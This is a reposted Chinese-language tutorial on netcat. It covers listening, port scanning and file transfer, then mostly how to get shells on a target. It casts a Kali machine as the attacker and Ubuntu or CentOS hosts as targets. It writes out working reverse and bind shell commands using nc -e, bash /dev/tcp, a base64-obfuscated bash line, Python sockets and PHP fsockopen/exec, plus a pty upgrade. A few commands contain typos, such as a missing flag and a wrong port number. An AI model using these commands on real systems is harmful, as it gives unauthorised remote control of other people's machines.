nc的作用
(1)實作任意TCP/UDP埠的偵聽,nc可以作為server以TCP或UDP方式偵聽指定埠
(2)埠的掃描,nc可以作為client發起TCP或UDP連接
(3)機器之間傳輸檔案
(4)機器之間網路測速
常用引數
1) -l 用于指定nc將處于偵聽模式,指定該引數,則意味著nc被當作server,偵聽并接受連接,而非向其它地址發起連接, 2) -p <port> 暫未用到(老版本的nc可能需要在埠號前加-p引數,下面測驗環境是centos6.6,nc版本是nc-1.84,未用到-p引數) 3) -s 指定發送資料的源IP地址,適用于多網卡機 4) -u 指定nc使用UDP協議,默認為TCP 5) -v 輸出互動或出錯資訊,新手除錯時尤為有用 6)-w 超時秒數,后面跟數字 7)-z 表示zero,表示掃描時不發送任何資料
常用命令
連接遠程主機
nc -nvv ip port
埠掃描
nc -v ip port //指定埠 nc -v -z ip 1-1555 //指定埠段
檔案傳輸
nc -lvp 8888 < test.txt 服務端 nc -nv 服務端ip 8888 > test.txt 客戶端
正向反彈shell
假如ubuntu、CentOS為目標服務器系統
kali為攻擊者的系統,ip為:192.168.200.130,開放4444埠且沒被占用
最終是將ubuntu、CentOS的shell反彈到kali上
目標服務器輸入
nc -l -p 4444 -t -e /bin/bash
kali上輸入
nc -vv ip 4444
正向反彈是目標機先執行nc命令,然后kali上再進行nc監聽,即可反彈shell,
需要目標機安裝nc,
反向反彈shell
方法1: nc反彈
首先在kali上輸入nc監聽:
nc -lvp 4444
目標服務器上使用nc去反向連接,命令如下:
nc -t -e /bin/bash 192.168.200.130 4444
方法2:bash反彈
bash -i >& /dev/tcp/ip/port 0>&1
base64版
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzAvNDQ0NCAwPiYx|{base64,-d}|{bash,-i}'
但首先需要在kali上使用nc監聽埠:
nc -lvp 4444
此方法在ubuntu下不會反彈成功,CentOS可以反彈成功,
方法3:python反彈
反彈shell的命令如下:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
首先,使用nc在kali上監聽埠:
nc -lvp 4444
在CentOS或者ubuntu下使用python去反向連接,輸入:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.200.130',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
此方法ubuntu和Linux均反彈成功,
方法4:php反彈shell
首先在kali上輸入:
nc -lvp 4444
然后在目標機上輸入:
php- 'exec("/bin/bash -i >& /dev/tcp/192.168.200.130/44444")'
或
php -r '$sock=fsockopen("192.168.200.130",4444);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
注意php反彈shell的這些方法都需要php關閉safe_mode這個選項,才可以使用exec函式,
遇到反彈后不是正常的shell,可用命令:
python -c 'import pty;pty.spawn("/bin/bash")'
轉化為常規的shell,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/499984.html
標籤:其他
